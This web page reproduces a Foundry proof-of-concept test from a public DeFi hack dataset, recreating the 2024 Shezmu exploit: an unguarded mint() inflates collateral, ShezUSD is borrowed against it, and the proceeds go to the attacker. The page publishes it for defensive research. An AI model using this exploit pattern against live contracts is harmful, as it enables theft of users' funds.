Skip to content
THREATWIRE

Public reproduction file

src/test/2024-09/Shezmu_exp.sol

Public reproduction file for dataset entry Shezmu.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-09/Shezmu_exp.sol75 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 4.9M USD
8// Attacker : https://etherscan.io/address/0xa3a64255484ad65158af0f9d96b5577f79901a1d
9// Attack Contract : https://etherscan.io/address/0xEd4B3d468DEd53a322A8B8280B6f35aAE8bC499C
10// Vulnerable Contract : https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924
11// Attack Tx : https://etherscan.io/tx/0x39328ea4377a8887d3f6ce91b2f4c6b19a851e2fc5163e2f83bbc2fc136d0c71
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924#code
16// @Analysis
17// Post-mortem : https://medium.com/coinmonks/decoding-shezmus-4-9-million-exploit-10dc0266b25b
18// Twitter Guy : https://x.com/shoucccc/status/1837228053862437244
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant SHEZMU_VAULT_PROXY = 0x75a04A1FeE9e6f26385ab1287B20ebdCbdabe478;
23address constant COLLATERAL_TOKEN = 0x641249dB01d5C9a04d1A223765fFd15f95167924;
24address constant SHEZ_USD = 0xD60EeA80C83779a8A5BFCDAc1F3323548e6BB62d;
26contract Shezmu is BaseTestWithBalanceLog {
27 uint256 blocknumToForkFrom = 20794865 - 1;
29 function setUp() public {
30 vm.createSelectFork("mainnet", blocknumToForkFrom);
31 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
32 fundingToken = SHEZ_USD;
33 }
35 function testExploit() public balanceLog {
36 //implement exploit code here
37 AttackContract attackContract = new AttackContract();
38 attackContract.attack();
39 }
42contract AttackContract {
43 address attacker;
44 constructor() {
45 attacker = msg.sender;
46 }
47 function attack() public {
48 IShezmuCollateralToken(COLLATERAL_TOKEN).approve(SHEZMU_VAULT_PROXY, type(uint256).max);
49 uint256 amount = type(uint128).max - 1;
50 // Root cause: The Shezmu Vault collateral token contract mint() function
51 // lacks access control
52 // anyone can mint any amount of collateral token
53 IShezmuCollateralToken(COLLATERAL_TOKEN).mint(address(this), amount);
55 IShezmuVault vault = IShezmuVault(SHEZMU_VAULT_PROXY);
56 vault.addCollateral(amount);
58 // This step will mint new ShezUSD to the borrower
59 uint256 borrowAmount = 99999159998000000000000000000;
60 vault.borrow(borrowAmount);
62 IERC20 shezUSD = IERC20(SHEZ_USD);
63 shezUSD.transfer(attacker, shezUSD.balanceOf(address(this)));
64 }
67interface IShezmuCollateralToken {
68 function approve(address spender, uint256 amount) external returns (bool);
69 function mint(address to, uint256 amount) external;
72interface IShezmuVault {
73 function addCollateral(uint256 _colAmount) external;
74 function borrow(uint256 _amount) external;

Analysis

Dataset entry

Public Foundry test for “Shezmu” (2024-09-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xa3a64255484ad65158af0f9d96b5577f79901a1d

  • Attack Contract

    0xed4b3d468ded53a322a8b8280b6f35aae8bc499c

  • Vulnerable Contract

    0x641249db01d5c9a04d1a223765ffd15f95167924

  • Attack Tx

    0x39328ea4377a8887d3f6ce91b2f4c6b19a851e2fc5163e2f83bbc2fc136d0c71

File record

Name
Shezmu
Path
src/test/2024-09/Shezmu_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
07235ec95b8a91e5b5ca58c711a4b6bca04c5156
Language
Solidity
Size
76 lines
Date
2024-09-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-09/Shezmu_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 07235ec95b8a91e5b5ca58c711a4b6bca04c5156, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.